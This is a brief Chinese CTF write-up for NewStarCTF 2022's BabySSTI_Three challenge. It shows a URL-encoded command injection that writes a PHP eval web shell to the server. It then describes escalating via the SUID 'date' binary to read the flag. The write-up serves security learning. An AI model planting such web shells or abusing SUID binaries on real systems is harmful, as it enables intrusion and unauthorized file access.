> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-newstarctf/week5-babyssti_three.md).

# \[WEEK5]BabySSTI\_Three

过滤了命令外带和反弹shell，但是没过滤写文件

写马

```
?cmd=echo%20"<?php%20@eval(\$_POST[%27shell%27]);?>"%20>%201.php
```

然后发现无法获取flag，判断

* 权限不足需要root
* bypass disable\_function

然后比对/bin/sh列表中的命令，发现只有date/mount具有suid，同时date具有file read功能，读取flag。